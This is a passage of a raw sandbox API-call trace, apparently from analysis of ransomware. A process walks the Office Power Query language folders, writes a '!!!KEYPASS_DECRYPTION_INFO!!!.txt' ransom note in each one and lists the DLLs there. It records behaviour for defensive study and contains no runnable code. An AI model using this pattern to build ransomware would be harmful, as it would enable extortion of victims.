Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9c08 [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.330] FindNextFileW (in: hFindFile=0x2ef9c08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.330] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.330] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.330] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.331] GetLastError () returned 0x3f0 [0247.331] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.331] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\km\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4 [0247.425] GetFileType (hFile=0x6d4) returned 0x1 [0247.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.425] WriteFile (in: hFile=0x6d4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.426] WriteFile (in: hFile=0x6d4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.426] CloseHandle (hObject=0x6d4) returned 1 [0247.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9bc8 [0247.426] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.426] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.426] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.426] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.426] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.426] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.427] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.427] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.427] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.427] FindNextFileW (in: hFindFile=0x2ef9bc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.427] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.427] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.427] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.427] GetLastError () returned 0x3f0 [0247.427] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.427] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0247.454] GetFileType (hFile=0x6d8) returned 0x1 [0247.455] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.455] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.455] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.455] WriteFile (in: hFile=0x6d8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.456] WriteFile (in: hFile=0x6d8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.456] CloseHandle (hObject=0x6d8) returned 1 [0247.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa048 [0247.456] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.456] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.456] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.456] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.456] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.456] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.456] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.457] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.457] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.457] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.457] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.457] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.457] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.457] FindNextFileW (in: hFindFile=0x2efa048, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.457] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.457] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.457] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.457] GetLastError () returned 0x3f0 [0247.457] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.457] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6dc [0247.590] GetFileType (hFile=0x6dc) returned 0x1 [0247.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.591] WriteFile (in: hFile=0x6dc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.592] WriteFile (in: hFile=0x6dc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.592] CloseHandle (hObject=0x6dc) returned 1 [0247.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9c48 [0247.592] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.592] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.593] FindNextFileW (in: hFindFile=0x2ef9c48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.593] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.593] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.594] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.594] GetLastError () returned 0x3f0 [0247.594] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.594] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kok\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0 [0247.632] GetFileType (hFile=0x6e0) returned 0x1 [0247.633] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.633] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.633] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.633] WriteFile (in: hFile=0x6e0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.634] WriteFile (in: hFile=0x6e0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.634] CloseHandle (hObject=0x6e0) returned 1 [0247.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9dc8 [0247.634] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.634] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.635] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.635] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.635] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.635] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.635] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.635] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.635] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.635] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.635] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.635] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.635] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.635] FindNextFileW (in: hFindFile=0x2ef9dc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.635] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.635] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.635] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.635] GetLastError () returned 0x3f0 [0247.635] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | 